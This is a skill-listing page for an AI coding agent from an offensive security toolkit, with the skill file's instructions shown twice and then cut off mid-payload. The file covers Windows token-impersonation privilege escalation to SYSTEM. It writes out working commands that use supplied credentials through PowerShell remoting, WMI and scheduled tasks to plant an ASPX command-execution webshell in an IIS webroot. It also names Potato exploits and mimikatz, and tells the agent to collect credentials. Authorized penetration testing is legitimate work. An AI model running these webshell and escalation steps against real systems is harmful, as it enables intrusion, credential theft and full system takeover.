/windows-token-impersonation
Exploit Windows token privileges for local privilege escalation to SYSTEM.
$ npx -y skills add blacklanternsecurity/red-run --skill windows-token-impersonation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/windows-token-impersonation
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit Windows token privileges for local privilege escalation to SYSTEM.
SKILL.md
windows-token-impersonation.SKILL.mdname: windows-token-impersonation
description: >
Exploit Windows token privileges for local privilege escalation to SYSTEM.
keywords:
- potato exploit
- juicypotato
- printspoofer
- godpotato
- token impersonation
- SeImpersonate
- SeDebug
- dangerous privileges
- service account to system
tools:
- JuicyPotato
- PrintSpoofer
- GodPotato
- RoguePotato
- EfsPotato
- SigmaPotato
- FullPowers
- mimikatz
- incognito
opsec: medium
Windows Token Impersonation & Dangerous Privileges
You are helping a penetration tester escalate privileges on a Windows system by exploiting token privileges. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[windows-token-impersonation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on a Windows system
- At least one exploitable token privilege (check with `whoami /priv`)
- OR: known credentials for a user who can write to a service webroot (see Step 0)
- Ability to transfer tools to target (or use tools already present)
- Potato binaries pre-staged at `/usr/share/windows-binaries/potatoes/` on the
attackbox (GodPotato-NET4.exe, PrintSpoofer64.exe, JuicyPotatoNG.exe, SigmaPotato.exe). If missing, fall back to Metasploit `getsystem` (Step 3b).
Step 0: Obtain SeImpersonate Shell
**When to use:** You have a low-privilege shell and known credentials for another user, and discovery identified that a service account (IIS AppPool, MSSQL) or a writable webroot can give you SeImpersonate. The goal is to execute commands as that user — typically to deploy a webshell in a service webroot, then catch the service account's reverse shell.
**Skip this step** if you already have SeImpersonate or another exploitable privilege (proceed to Step 1).
Method 1: PowerShell Remoting to localhost (most common)
WinRM must be enabled (default on Server editions, common in lab environments). This runs commands as the target user on the same host.
$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)
# Test connectivity first
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami }
# Write a webshell to the service webroot
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
Set-Content -Path 'C:\inetpub\wwwroot\shell.aspx' -Value '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>'
}
# Or execute arbitrary commands directly
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
cmd /c "whoami /priv"
}**Troubleshooting:**
- "Access denied" → user may not be in Remote Management Users group; try Method 2
- "WinRM cannot process the request" → WinRM not enabled; try Method 2 or 3
Method 2: WMI process creation
Works when WinRM is disabled. Creates a process as the target user via WMI. Output is blind — use file writes to confirm execution.
$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)
# Write webshell via WMI (blind — no output returned)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd /c echo ^<%@ Page Language="C#" %^>^<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%^> > C:\inetpub\wwwroot\shell.aspx' -Credential $cred**Note:** WMI process creation is blind — `ReturnValue = 0` means the process was created, not that the command succeeded. Verify by checking if the file exists afterward.
Method 3: Scheduled task (if user has batch logon rights)
Works without WinRM or WMI remote access. Uses Task Scheduler to run a command as the target user.
schtasks /create /tn "deploy" /tr "cmd /c echo PAYLOAD > C:\inetpub\wwwroot\shell.aspx" /sc once /st 00:00 /ru DOMAIN\user /rp PASSWORD
schtasks /run /tn "deploy"
timeout /t 3
schtasks /delete /tn "deploy" /f
**Troubleshooting:**
- "ERROR: The user name or password is incorrect" → verify creds with `net use`
- "Access denied" → current user lacks schtasks permission; try from attackbox
Method 4: From attackbox (when in-shell methods fail)
If all in-shell methods fail, return to the orchestrator requesting lateral movement routing (pass-the-hash, evil-winrm, wmiexec, atexec). Those tools authenticate over the network and are covered by their own skills with proper methodology. Note what in-shell methods were tried and why they failed.
ASPX webshell payloads
Minimal one-liner for IIS deployment — takes commands via `?c=` parameter:
<%@ Page Language="C#" %><%Response.Write(new System.Diagn
Read more
name: windows-token-impersonation description: > Exploit Windows token privileges for local privilege escalation to SYSTEM. keywords: - potato exploit - juicypotato - printspoofer - godpotato - token impersonation - SeImpersonate - SeDebug - dangerous privileges - service account to system tools: - JuicyPotato - PrintSpoofer - GodPotato - RoguePotato - EfsPotato - SigmaPotato - FullPowers - mimikatz - incognito opsec: medium
Windows Token Impersonation & Dangerous Privileges
You are helping a penetration tester escalate privileges on a Windows system by exploiting token privileges. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[windows-token-impersonation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on a Windows system
- At least one exploitable token privilege (check with `whoami /priv`)
- OR: known credentials for a user who can write to a service webroot (see Step 0)
- Ability to transfer tools to target (or use tools already present)
- Potato binaries pre-staged at `/usr/share/windows-binaries/potatoes/` on the
attackbox (GodPotato-NET4.exe, PrintSpoofer64.exe, JuicyPotatoNG.exe, SigmaPotato.exe). If missing, fall back to Metasploit `getsystem` (Step 3b).
Step 0: Obtain SeImpersonate Shell
**When to use:** You have a low-privilege shell and known credentials for another user, and discovery identified that a service account (IIS AppPool, MSSQL) or a writable webroot can give you SeImpersonate. The goal is to execute commands as that user — typically to deploy a webshell in a service webroot, then catch the service account's reverse shell.
**Skip this step** if you already have SeImpersonate or another exploitable privilege (proceed to Step 1).
Method 1: PowerShell Remoting to localhost (most common)
WinRM must be enabled (default on Server editions, common in lab environments). This runs commands as the target user on the same host.
$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)
# Test connectivity first
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami }
# Write a webshell to the service webroot
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
Set-Content -Path 'C:\inetpub\wwwroot\shell.aspx' -Value '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>'
}
# Or execute arbitrary commands directly
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
cmd /c "whoami /priv"
}**Troubleshooting:**
- "Access denied" → user may not be in Remote Management Users group; try Method 2
- "WinRM cannot process the request" → WinRM not enabled; try Method 2 or 3
Method 2: WMI process creation
Works when WinRM is disabled. Creates a process as the target user via WMI. Output is blind — use file writes to confirm execution.
$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)
# Write webshell via WMI (blind — no output returned)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd /c echo ^<%@ Page Language="C#" %^>^<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%^> > C:\inetpub\wwwroot\shell.aspx' -Credential $cred**Note:** WMI process creation is blind — `ReturnValue = 0` means the process was created, not that the command succeeded. Verify by checking if the file exists afterward.
Method 3: Scheduled task (if user has batch logon rights)
Works without WinRM or WMI remote access. Uses Task Scheduler to run a command as the target user.
schtasks /create /tn "deploy" /tr "cmd /c echo PAYLOAD > C:\inetpub\wwwroot\shell.aspx" /sc once /st 00:00 /ru DOMAIN\user /rp PASSWORD schtasks /run /tn "deploy" timeout /t 3 schtasks /delete /tn "deploy" /f
**Troubleshooting:**
- "ERROR: The user name or password is incorrect" → verify creds with `net use`
- "Access denied" → current user lacks schtasks permission; try from attackbox
Method 4: From attackbox (when in-shell methods fail)
If all in-shell methods fail, return to the orchestrator requesting lateral movement routing (pass-the-hash, evil-winrm, wmiexec, atexec). Those tools authenticate over the network and are covered by their own skills with proper methodology. Note what in-shell methods were tried and why they failed.
ASPX webshell payloads
Minimal one-liner for IIS deployment — takes commands via `?c=` parameter:
<%@ Page Language="C#" %><%Response.Write(new System.Diagn
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

